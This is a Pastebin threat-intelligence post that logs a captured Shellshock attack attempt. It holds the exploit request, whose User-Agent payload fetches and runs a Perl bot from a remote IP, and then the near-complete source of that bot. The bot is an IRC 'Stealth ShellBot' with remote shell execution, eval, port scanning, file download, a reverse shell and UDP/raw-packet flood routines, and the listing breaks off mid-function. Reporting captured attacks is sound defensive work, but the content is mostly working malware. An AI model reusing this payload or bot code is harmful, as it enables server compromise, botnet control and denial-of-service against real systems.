Advertisement
Neonprimetime

Shellshock Attempt: 217.114.212.26, 74.208.166.12

Jan 19th, 2015
480
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 28.67 KB | None | 0 0
  1. Shellshock Attempt
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. ******
  6.  
  7. Source Ip: 217.114.212.26
  8.  
  9. ******
  10.  
  11. GET /phppath/cgi_wrapper HTTP/1.0
  12. User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESSX";system("wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl");'
  13. Accept: */*
  14.  
  15.  
  16. ******
  17.  
  18.  
  19. #!/usr/bin/perl
  20. #          - Adicionado comando !estatisticas ;
  21. #          - Alterado o comando @pacota para @oldpack;
  22. #          - Adicionado dois novos pacotadores: @udp    e @udpfaixa   ;
  23. #          - Adicionado um novo portscan -> @fullportscan   ;
  24. #          - Adicionado comando @conback   com suporte para Windows/Unix :D;
  25. #          - Adicionado comando: !sair para finalizar o bot;
  26. #          - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
  27. #          - Adicionado comando !entra   e !sai  ;
  28. #          - Adicionado comando @download  ;
  29. #          - Adicionado comando !pacotes  para ativar/desativar pacotes :);
  30.  
  31. ########## CONFIGURACAO ############
  32. my $processo = '/usr/sbin/httpd';
  33.  
  34. $servidor='64.32.12.57' unless $servidor;
  35. my $porta='80';
  36. my @canais=("#new");
  37. my @adms=("X","Y");
  38. my @auth=("*!*@evil");
  39.  
  40. # Anti Flood ( 6/3 Recomendado )
  41. my $linas_max=6;
  42. my $sleep=3;
  43.  
  44. my $nick = getnick();
  45. my $ircname = getnick();
  46. my $realname = getnick();
  47.  
  48. my $acessoshell = 1;
  49. ######## Stealth ShellBot ##########
  50. my $prefixo = "#";
  51. my $estatisticas = 0;
  52. my $pacotes = 1;
  53. ####################################
  54.  
  55. my $VERSAO = '0.2a';
  56.  
  57. $SIG{'INT'} = 'IGNORE';
  58. $SIG{'HUP'} = 'IGNORE';
  59. $SIG{'TERM'} = 'IGNORE';
  60. $SIG{'CHLD'} = 'IGNORE';
  61. $SIG{'PS'} = 'IGNORE';
  62.  
  63. use IO::Socket;
  64. use Socket;
  65. use IO::Select;
  66. chdir("/");
  67. $servidor="$ARGV[0]" if $ARGV[0];
  68. $0="$processo"."\0";
  69. my $pid=fork;
  70. exit if $pid;
  71. die "Problema com o fork: $!" unless defined($pid);
  72.  
  73. my %irc_servers;
  74. my %DCC;
  75. my $dcc_sel = new IO::Select->new();
  76.  
  77. #####################
  78. # Stealth Shellbot  #
  79. #####################
  80.  
  81.  
  82.  
  83. sub getnick {
  84.   #my $retornonick = &_get("http://websurvey.burstmedia.com/names.txt");
  85.   #return $retornonick;
  86.   return "new".int(rand(9000));
  87. }
  88.  
  89.  
  90. sub getident {
  91.   my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  92.   my $identchance = int(rand(1000));
  93.   if ($identchance > 30) {
  94.      return $nick;
  95.   } else {
  96.      return $retornoident;
  97.   }
  98.   return $retornoident;
  99. }
  100.  
  101. sub getname {
  102.   my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  103.   return $retornoname;
  104. }
  105.  
  106. # IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
  107. sub getident2 {
  108.         my $length=shift;
  109.         $length = 3 if ($length < 3);
  110.  
  111.         my @chars=('a'..'z','A'..'Z','1'..'9');
  112.         foreach (1..$length)
  113.         {
  114.                 $randomstring.=$chars[rand @chars];
  115.         }
  116.         return $randomstring;
  117. }
  118.  
  119. sub getstore ($$)
  120. {
  121.   my $url = shift;
  122.   my $file = shift;
  123.  
  124.   $http_stream_out = 1;
  125.   open(GET_OUTFILE, "> $file");
  126.   %http_loop_check = ();
  127.   _get($url);
  128.   close GET_OUTFILE;
  129.   return $main::http_get_result;
  130. }
  131.  
  132. sub _get
  133. {
  134.   my $url = shift;
  135.   my $proxy = "";
  136.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  137.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  138.     my $host = $1;
  139.     my $port = $2 || 80;
  140.     my $path = $3;
  141.     $path = "/" unless defined($path);
  142.     return _trivial_http_get($host, $port, $path);
  143.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  144.     my $host = $1;
  145.     my $port = $2;
  146.     my $path = $url;
  147.     return _trivial_http_get($host, $port, $path);
  148.   } else {
  149.     return undef;
  150.   }
  151. }
  152.  
  153.  
  154. sub _trivial_http_get
  155. {
  156.   my($host, $port, $path) = @_;
  157.   my($AGENT, $VERSION, $p);
  158.   #print "HOST=$host, PORT=$port, PATH=$path\n";
  159.  
  160.   $AGENT = "get-minimal";
  161.   $VERSION = "20000118";
  162.  
  163.   $path =~ s/ /%20/g;
  164.  
  165.   require IO::Socket;
  166.   local($^W) = 0;
  167.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  168.                                    PeerPort => $port,
  169.                                    Proto   => 'tcp',
  170.                                    Timeout  => 60) || return;
  171.   $sock->autoflush;
  172.   my $netloc = $host;
  173.   $netloc .= ":$port" if $port != 80;
  174.   my $request = "GET $path HTTP/1.0\015\012"
  175.               . "Host: $netloc\015\012"
  176.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  177.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  178.   $request .= "\015\012";
  179.   print $sock $request;
  180.  
  181.   my $buf = "";
  182.   my $n;
  183.   my $b1 = "";
  184.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  185.     if ($b1 eq "") { # first block?
  186.       $b1 = $buf;         # Save this for errorcode parsing
  187.       $buf =~ s/.+?\015?\012\015?\012//s;      # zap header
  188.     }
  189.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  190.   }
  191.   return undef unless defined($n);
  192.  
  193.   $main::http_get_result = 200;
  194.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  195.     $main::http_get_result = $1;
  196.     # print "CODE=$main::http_get_result\n$b1\n";
  197.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  198. ) {
  199.       # redirect
  200.       my $url = $1;
  201.       return undef if $http_loop_check{$url}++;
  202.       return _get($url);
  203.     }
  204.     return undef unless $main::http_get_result =~ /^2/;
  205.   }
  206.  
  207.   return $buf;
  208. }
  209.  
  210. #############################
  211. #  B0tchZ na veia ehehe :P  #
  212. #############################
  213.  
  214. $sel_cliente = IO::Select->new();
  215. sub sendraw {
  216.   if ($#_ == '1') {
  217.     my $socket = $_[0];
  218.     print $socket "$_[1]\n";
  219.   } else {
  220.       print $IRC_cur_socket "$_[0]\n";
  221.   }
  222. }
  223.  
  224. sub conectar {
  225.    my $meunick = $_[0];
  226.    my $servidor_con = $_[1];
  227.    my $porta_con = $_[2];
  228.  
  229.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  230.    if (defined($IRC_socket)) {
  231.      $IRC_cur_socket = $IRC_socket;
  232.  
  233.      $IRC_socket->autoflush(1);
  234.      $sel_cliente->add($IRC_socket);
  235.  
  236.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  237.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  238.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  239.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  240.      nick("$meunick");
  241.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  242.      sleep 2;
  243.    }
  244.  
  245. }
  246. my $line_temp;
  247. while( 1 ) {
  248.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  249.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  250.    &DCC::connections;
  251.    my @ready = $sel_cliente->can_read(0.6);
  252.    next unless(@ready);
  253.    foreach $fh (@ready) {
  254.      $IRC_cur_socket = $fh;
  255.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  256.      $nread = sysread($fh, $msg, 4096);
  257.      if ($nread == 0) {
  258.         $sel_cliente->remove($fh);
  259.         $fh->close;
  260.         delete($irc_servers{$fh});
  261.      }
  262.      @lines = split (/\n/, $msg);
  263.  
  264.      for(my $c=0; $c<= $#lines; $c++) {
  265.        $line = $lines[$c];
  266.        $line=$line_temp.$line if ($line_temp);
  267.        $line_temp='';
  268.        $line =~ s/\r$//;
  269.        unless ($c == $#lines) {
  270.          parse("$line");
  271.        } else {
  272.            if ($#lines == 0) {
  273.              parse("$line");
  274.            } elsif ($lines[$c] =~ /\r$/) {
  275.                parse("$line");
  276.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  277.                parse("$line");
  278.            } else {
  279.                $line_temp = $line;
  280.            }
  281.        }
  282.       }
  283.    }
  284. }
  285.  
  286. sub parse {
  287.    my $servarg = shift;
  288.    if ($servarg =~ /^PING \:(.*)/) {
  289.      sendraw("PONG :$1");
  290.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  291.        my $pn=$1; my $onde = $4; my $args = $5;
  292.        if ($args =~ /^\001VERSION\001$/) {
  293.          notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
  294.        }
  295.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  296.          notice("$pn", "\001PONG\001");
  297.        }
  298.        elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  299.          if ($onde eq "$meunick"){
  300.            shell("$pn", "$args");
  301.            }
  302.          elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  303.             my $natrix = $1;
  304.             my $arg = $2;
  305.             if ($arg =~ /^\!(.*)/) {
  306.               ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  307.             } elsif ($arg =~ /^\@(.*)/) {
  308.                 $ondep = $onde;
  309.                 $ondep = $pn if $onde eq $meunick;
  310.                 bfunc("$ondep","$1");
  311.             } else {
  312.                 shell("$onde", "$arg");
  313.             }
  314.          }
  315.        }
  316.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  317.        if (lc($1) eq lc($meunick)) {
  318.          $meunick=$4;
  319.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  320.        }
  321.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  322.        $meunick = getnick();
  323.        nick("$meunick");
  324.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  325.        $meunick = $2;
  326.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  327.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  328.        foreach my $canal (@canais) {
  329.          sendraw("JOIN $canal");
  330.        }
  331.    }
  332. }
  333.  
  334. sub bfunc {
  335.   my $printl = $_[0];
  336.   my $funcarg = $_[1];
  337.   if (my $pid = fork) {
  338.      waitpid($pid, 0);
  339.   } else {
  340.       if (fork) {
  341.          exit;
  342.        } else {
  343.            if ($funcarg =~ /^portscan (.*)/) {
  344.              my $hostip="$1";
  345.              my @portas=("21","22","23","25","53","80","110","143");
  346.              my (@aberta, %porta_banner);
  347.              foreach my $porta (@portas)  {
  348.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  349.                 if ($scansock) {
  350.                    push (@aberta, $porta);
  351.                    $scansock->close;
  352.                 }
  353.              }
  354.              if (@aberta) {
  355.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  356.              } else {
  357.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  358.              }
  359.            }
  360.  
  361.            elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  362.             getstore("$1", "$2");
  363.             sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
  364.             }
  365.  
  366.            elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  367.              my $hostname="$1";
  368.              my $portainicial = "$2";
  369.              my $portafinal = "$3";
  370.              my (@abertas, %porta_banner);
  371.              foreach my $porta ($portainicial..$portafinal)
  372.              {
  373.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  374.                if ($scansock) {
  375.                  push (@abertas, $porta);
  376.                  $scansock->close;
  377.                  if ($estatisticas) {
  378.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  379.                  }
  380.                }
  381.              }
  382.              if (@abertas) {
  383.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  384.              } else {
  385.                sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  386.              }
  387.             }
  388.  
  389.             # Duas Vers.es simplificada do meu Tr0x ;D
  390.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  391.               return unless $pacotes;
  392.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  393.               my $alvo=inet_aton("$1");
  394.               my $porta = "$2";
  395.               my $tempo = "$3";
  396.               my $pacote;
  397.               my $pacotese;
  398.               my $fim = time + $tempo;
  399.               my $pacota = 1;
  400.               while (($pacota == "1") && ($pacotes == "1")) {
  401.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  402.                 $pacote=$rand x $rand x $rand;
  403.                 $porta = int(rand 65000) +1 if ($porta == "0");
  404.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  405.               }
  406.               if ($estatisticas)
  407.               {
  408.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  409.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  410.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  411.               }
  412.             }
  413.  
  414.             elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  415.               return unless $pacotes;
  416.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  417.               my $faixaip="$1";
  418.               my $porta = "$2";
  419.               my $tempo = "$3";
  420.               my $pacote;
  421.               my $pacotes;
  422.               my $fim = time + $tempo;
  423.               my $pacota = 1;
  424.               my $alvo;
  425.               while ($pacota == "1") {
  426.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  427.                 for (my $faixa = 1; $faixa <= 255; $faixa++) {
  428.                   $alvo = inet_aton("$faixaip.$faixa");
  429.                   $pacote=$rand x $rand x $rand;
  430.                   $porta = int(rand 65000) +1 if ($porta == "0");
  431.                   send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  432.                   if ($faixa >= 255) {
  433.                     $faixa = 1;
  434.                   }
  435.                 }
  436.               }
  437.               if ($estatisticas)
  438.               {
  439.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  440.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  441.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  442.               }
  443.             }
  444.  
  445.             # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
  446.             elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  447.               my $host = "$1";
  448.               my $porta = "$2";
  449.               my $proto = getprotobyname('tcp');
  450.               my $iaddr = inet_aton($host);
  451.               my $paddr = sockaddr_in($porta, $iaddr);
  452.               my $shell = "/bin/sh -i";
  453.               if ($^O eq "MSWin32") {
  454.                 $shell = "cmd.exe";
  455.               }
  456.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  457.               connect(SOCKET, $paddr) or die "connect: $!";
  458.               open(STDIN, ">&SOCKET");
  459.               open(STDOUT, ">&SOCKET");
  460.               open(STDERR, ">&SOCKET");
  461.               system("$shell");
  462.               close(STDIN);
  463.               close(STDOUT);
  464.               close(STDERR);
  465.  
  466.               if ($estatisticas)
  467.               {
  468.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  469.               }
  470.             }
  471.  
  472.            elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  473.             return unless $pacotes;
  474.              my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  475.              $dtime = 1 if $dtime == 0;
  476.              my %bytes;
  477.              $bytes{igmp} = $2 * $pacotes{igmp};
  478.              $bytes{icmp} = $2 * $pacotes{icmp};
  479.              $bytes{o} = $2 * $pacotes{o};
  480.              $bytes{udp} = $2 * $pacotes{udp};
  481.              $bytes{tcp} = $2 * $pacotes{tcp};
  482.              unless ($estatisticas)
  483.              {
  484.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
  485.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
  486.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
  487.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  488.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  489.              }
  490.            }
  491.            exit;
  492.        }
  493.   }
  494. }
  495.  
  496. sub ircase {
  497.   my ($kem, $printl, $case) = @_;
  498.  
  499.    if ($case =~ /^join (.*)/) {
  500.      j("$1");
  501.    }
  502.    elsif ($case =~ /^part (.*)/) {
  503.       p("$1");
  504.    }
  505.    elsif ($case =~ /^rejoin\s+(.*)/) {
  506.       my $chan = $1;
  507.       if ($chan =~ /^(\d+) (.*)/) {
  508.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  509.           p("$2");
  510.           j("$2");
  511.         }
  512.       } else {
  513.           p("$chan");
  514.           j("$chan");
  515.       }
  516.    }
  517.    elsif ($case =~ /^op/) {
  518.       op("$printl", "$kem") if $case eq "op";
  519.       my $oarg = substr($case, 3);
  520.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  521.    }
  522.    elsif ($case =~ /^deop/) {
  523.       deop("$printl", "$kem") if $case eq "deop";
  524.       my $oarg = substr($case, 5);
  525.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  526.    }
  527.    elsif ($case =~ /^voice/) {
  528.       voice("$printl", "$kem") if $case eq "voice";
  529.       $oarg = substr($case, 6);
  530.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  531.    }
  532.    elsif ($case =~ /^devoice/) {
  533.       devoice("$printl", "$kem") if $case eq "devoice";
  534.       $oarg = substr($case, 8);
  535.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  536.    }
  537.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  538.       msg("$1", "$2");
  539.    }
  540.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  541.       for (my $cf = 1; $cf <= $1; $cf++) {
  542.         msg("$2", "$3");
  543.       }
  544.    }
  545.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  546.       for (my $cf = 1; $cf <= $1; $cf++) {
  547.         ctcp("$2", "$3");
  548.       }
  549.    }
  550.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  551.       ctcp("$1", "$2");
  552.    }
  553.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  554.       invite("$1", "$2");
  555.    }
  556.    elsif ($case =~ /^nick (.*)/) {
  557.       nick("$1");
  558.    }
  559.    elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  560.        conectar("$2", "$1", 6667);
  561.    }
  562.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  563.       DCC::SEND("$1", "$2");
  564.    }
  565.    elsif ($case =~ /^raw (.*)/) {
  566.       sendraw("$1");
  567.    }
  568.    elsif ($case =~ /^eval (.*)/) {
  569.       eval "$1";
  570.    }
  571.    elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  572.     sleep int(rand($2));
  573.     j("$1");
  574.    }
  575.    elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  576.     sleep int(rand($2));
  577.     p("$1");
  578.    }
  579.    elsif ($case =~ /^sair/) {
  580.      quit();
  581.    }
  582.    elsif ($case =~ /^novonick/) {
  583.     my $novonick = getnick();
  584.      nick("$novonick");
  585.    }
  586.    elsif ($case =~ /^estatisticas (.*)/) {
  587.      if ($1 eq "on") {
  588.       $estatisticas = 1;
  589.       msg("$printl", "Estat.sticas ativadas!");
  590.      } elsif ($1 eq "off") {
  591.       $estatisticas = 0;
  592.       msg("$printl", "Estat.sticas desativadas!");
  593.      }
  594.    }
  595.    elsif ($case =~ /^pacotes (.*)/) {
  596.      if ($1 eq "on") {
  597.       $pacotes = 1;
  598.       msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  599.      } elsif ($1 eq "off") {
  600.       $pacotes = 0;
  601.       msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  602.      }
  603.    }
  604. }
  605. sub shell {
  606.   return unless $acessoshell;
  607.   my $printl=$_[0];
  608.   my $comando=$_[1];
  609.   if ($comando =~ /cd (.*)/) {
  610.     chdir("$1") || msg("$printl", "Diret.rio inexistente!");
  611.     return;
  612.   }
  613.   elsif ($pid = fork) {
  614.      waitpid($pid, 0);
  615.   } else {
  616.       if (fork) {
  617.          exit;
  618.        } else {
  619.            my @resp=`$comando 2>&1 3>&1`;
  620.            my $c=0;
  621.            foreach my $linha (@resp) {
  622.              $c++;
  623.              chop $linha;
  624.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  625.              if ($c >= "$linas_max") {
  626.                $c=0;
  627.                sleep $sleep;
  628.              }
  629.            }
  630.            exit;
  631.        }
  632.   }
  633. }
  634.  
  635. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  636. sub attacker {
  637.   my $iaddr = inet_aton($_[0]);
  638.   my $msg = 'B' x $_[1];
  639.   my $ftime = $_[2];
  640.   my $cp = 0;
  641.   my (%pacotes);
  642.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  643.  
  644.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  645.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  646.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  647.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  648.   return(undef) if $cp == 4;
  649.   my $itime = time;
  650.   my ($cur_time);
  651.   while ( 1 ) {
  652.      for (my $porta = 1; $porta <= 65535; $porta++) {
  653.        $cur_time = time - $itime;
  654.        last if $cur_time >= $ftime;
  655.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  656.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  657.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  658.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  659.  
  660.        # DoS ?? :P
  661.        for (my $pc = 3; $pc <= 255;$pc++) {
  662.          next if $pc == 6;
  663.          $cur_time = time - $itime;
  664.          last if $cur_time >= $ftime;
  665.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  666.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  667.        }
  668.      }
  669.      last if $cur_time >= $ftime;
  670.   }
  671.   return($cur_time, %pacotes);
  672. }
  673.  
  674. #############
  675. #  ALIASES  #
  676. #############
  677.  
  678. sub action {
  679.    return unless $#_ == 1;
  680.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  681. }
  682.  
  683. sub ctcp {
  684.    return unless $#_ == 1;
  685.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  686. }
  687. sub msg {
  688.    return unless $#_ == 1;
  689.    sendraw("PRIVMSG $_[0] :$_[1]");
  690. }
  691.  
  692. sub notice {
  693.    return unless $#_ == 1;
  694.    sendraw("NOTICE $_[0] :$_[1]");
  695. }
  696.  
  697. sub op {
  698.    return unless $#_ == 1;
  699.    sendraw("MODE $_[0] +o $_[1]");
  700. }
  701. sub deop {
  702.    return unless $#_ == 1;
  703.    sendraw("MODE $_[0] -o $_[1]");
  704. }
  705. sub hop {
  706.     return unless $#_ == 1;
  707.    sendraw("MODE $_[0] +h $_[1]");
  708. }
  709. sub dehop {
  710.    return unless $#_ == 1;
  711.    sendraw("MODE $_[0] +h $_[1]");
  712. }
  713. sub voice {
  714.    return unless $#_ == 1;
  715.    sendraw("MODE $_[0] +v $_[1]");
  716. }
  717. sub devoice {
  718.    return unless $#_ == 1;
  719.    sendraw("MODE $_[0] -v $_[1]");
  720. }
  721. sub ban {
  722.    return unless $#_ == 1;
  723.    sendraw("MODE $_[0] +b $_[1]");
  724. }
  725. sub unban {
  726.    return unless $#_ == 1;
  727.    sendraw("MODE $_[0] -b $_[1]");
  728. }
  729. sub kick {
  730.    return unless $#_ == 1;
  731.    sendraw("KICK $_[0] $_[1] :$_[2]");
  732. }
  733.  
  734. sub modo {
  735.    return unless $#_ == 0;
  736.    sendraw("MODE $_[0] $_[1]");
  737. }
  738. sub mode { modo(@_); }
  739.  
  740. sub j { &join(@_); }
  741. sub join {
  742.    return unless $#_ == 0;
  743.    sendraw("JOIN $_[0]");
  744. }
  745. sub p { part(@_); }
  746. sub part {sendraw("PART $_[0]");}
  747.  
  748. sub nick {
  749.   return unless $#_ == 0;
  750.   sendraw("NICK $_[0]");
  751. }
  752.  
  753. sub invite {
  754.    return unless $#_ == 1;
  755.    sendraw("INVITE $_[1] $_[0]");
  756. }
  757. sub topico {
  758.    return unless $#_ == 1;
  759.    sendraw("TOPIC $_[0] $_[1]");
  760. }
  761. sub topic { topico(@_); }
  762.  
  763. sub whois {
  764.   return unless $#_ == 0;
  765.   sendraw("WHOIS $_[0]");
  766. }
  767. sub who {
  768.   return unless $#_ == 0;
  769.   sendraw("WHO $_[0]");
  770. }
  771. sub names {
  772.   return unless $#_ == 0;
  773.   sendraw("NAMES $_[0]");
  774. }
  775. sub away {
  776.   sendraw("AWAY $_[0]");
  777. }
  778. sub back { away(); }
  779. sub quit {
  780.   sendraw("QUIT :$_[0]");
  781.   exit;
  782. }
  783.  
  784. # DCC
  785. package DCC;
  786.  
  787. sub connections {
  788.    my @ready = $dcc_sel->can_read(1);
  789. #   return unless (@ready);
  790.    foreach my $fh (@ready) {
  791.      my $dcctipo = $DCC{$fh}{tipo};
  792.      my $arquivo = $DCC{$fh}{arquivo};
  793.      my $bytes = $DCC{$fh}{bytes};
  794.      my $cur_byte = $DCC{$fh}{curbyte};
  795.      my $nick = $DCC{$fh}{nick};
  796.  
  797.      my $msg;
  798.      my $nread = sysread($fh, $msg, 10240);
  799.  
  800.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  801.         $DCC{$fh}{status} = "Cancelado";
  802.         $DCC{$fh}{ftime} = time;
  803.         $dcc_sel->remove($fh);
  804.         $fh->close;
  805.         next;
  806.      }
  807.  
  808.      if ($dcctipo eq "get") {
  809.         $DCC{$fh}{curbyte} += length($msg);
  810.  
  811.         my $cur_byte = $DCC{$fh}{curbyte};
  812.  
  813.         open(FILE, ">> $arquivo");
  814.         print FILE "$msg" if ($cur_byte <= $bytes);
  815.         close(FILE);
  816.  
  817.         my $packbyte = pack("N", $cur_byte);
  818.         print $fh "$packbyte";
  819.  
  820.         if ($bytes == $cur_byte) {
  821.            $dcc_sel->remove($fh);
  822.            $fh->close;
  823.            $DCC{$fh}{status} = "Recebido";
  824.            $DCC{$fh}{ftime} = time;
  825.            next;
  826.         }
  827.      } elsif ($dcctipo eq "send") {
  828.           my $send = $fh->accept;
  829.           $send->autoflush(1);
  830.           $dcc_sel->add($send);
  831.           $dcc_sel->remove($fh);
  832.           $DCC{$send}{tipo} = 'sendcon';
  833.           $DCC{$send}{itime} = time;
  834.           $DCC{$send}{nick} = $nick;
  835.           $DCC{$send}{bytes} = $bytes;
  836.           $DCC{$send}{curbyte} = 0;
  837.           $DCC{$send}{arquivo} = $arquivo;
  838.           $DCC{$send}{ip} = $send->peerhost;
  839.           $DCC{$send}{porta} = $send->peerport;
  840.           $DCC{$send}{status} = "Enviando";
  841.  
  842.           #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  843.           open(FILE, "< $arquivo");
  844.           my $fbytes;
  845.           read(FILE, $fbytes, 1024);
